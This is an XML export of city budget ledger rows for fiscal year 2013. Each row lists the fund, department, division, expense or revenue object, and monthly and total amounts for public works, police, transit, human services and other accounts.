<row _id="838"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1517731.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16829</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1534560.0</total></row>
<row _id="839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12300.0</total></row>
<row _id="840"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15596.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>187</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15783.0</total></row>
<row _id="841"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="842"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35700.0</total></row>
<row _id="843"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>112800</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112800.0</total></row>
<row _id="844"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>256858.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>256858.0</total></row>
<row _id="845"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>118710.3</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>118710.3</total></row>
<row _id="846"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>226556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>226556.0</total></row>
<row _id="847"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>517000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>517000.0</total></row>
<row _id="848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>120000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="849"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>257504.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>257504.0</total></row>
<row _id="850"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402370.0</object><object_description>REIMB FROM OTHER FUNDS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-351379.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-351379.0</total></row>
<row _id="851"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402230.0</object><object_description>MAUSOLEUM-MISC SALES/SVCS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-27030.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27030.0</total></row>
<row _id="852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-150000.0</total></row>
<row _id="853"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401350.0</object><object_description>GEN PROM BUS LICENSE MONTANA</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-5350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5350.0</total></row>
<row _id="854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="855"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>229200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>229200.0</total></row>
<row _id="858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14619.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14619.0</total></row>
<row _id="859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522911.0</object><object_description>FUEL - REVENUE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1100000.0</total></row>
<row _id="861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>29868.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29868.0</total></row>
<row _id="862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>569230.0</object><object_description>INTEREST ON SMURRF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>61219.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>61219.0</total></row>
<row _id="863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT-WISE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-596000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-596000.0</total></row>
<row _id="864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2395940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2395940.0</total></row>
<row _id="865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1734.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1734.0</total></row>
<row _id="867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>102.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14400.0</total></row>
<row _id="869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1475.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1475.0</total></row>
<row _id="870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4303.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4303.0</total></row>
<row _id="871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>527.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>527.0</total></row>
<row _id="872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10931.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10931.0</total></row>
<row _id="873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15685.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15685.0</total></row>
<row _id="874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>89500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>89500.0</total></row>
<row _id="875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28505.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28505.0</total></row>
<row _id="876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561131.0</object><object_description>OPCC-CASE MGMT-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>120297.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120297.0</total></row>
<row _id="877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561143.0</object><object_description>ST JOE-SHELTER PLUS CARE PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35890.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35890.0</total></row>
<row _id="878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562281.0</object><object_description>YOUTH DEVELOPMENT PROJECT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>272790.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>272790.0</total></row>
<row _id="879"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563111.0</object><object_description>WISE CONNECTIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>46125.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46125.0</total></row>
<row _id="880"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565271.0</object><object_description>SOJOURN/DOMESTIC VIOLENCE NTWR</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7037.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7037.0</total></row>
<row _id="881"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522976.0</object><object_description>LNG FUEL TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>260000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>260000.0</total></row>
<row _id="882"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204941.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>204941.0</total></row>
<row _id="884"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>76133.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>76133.0</total></row>
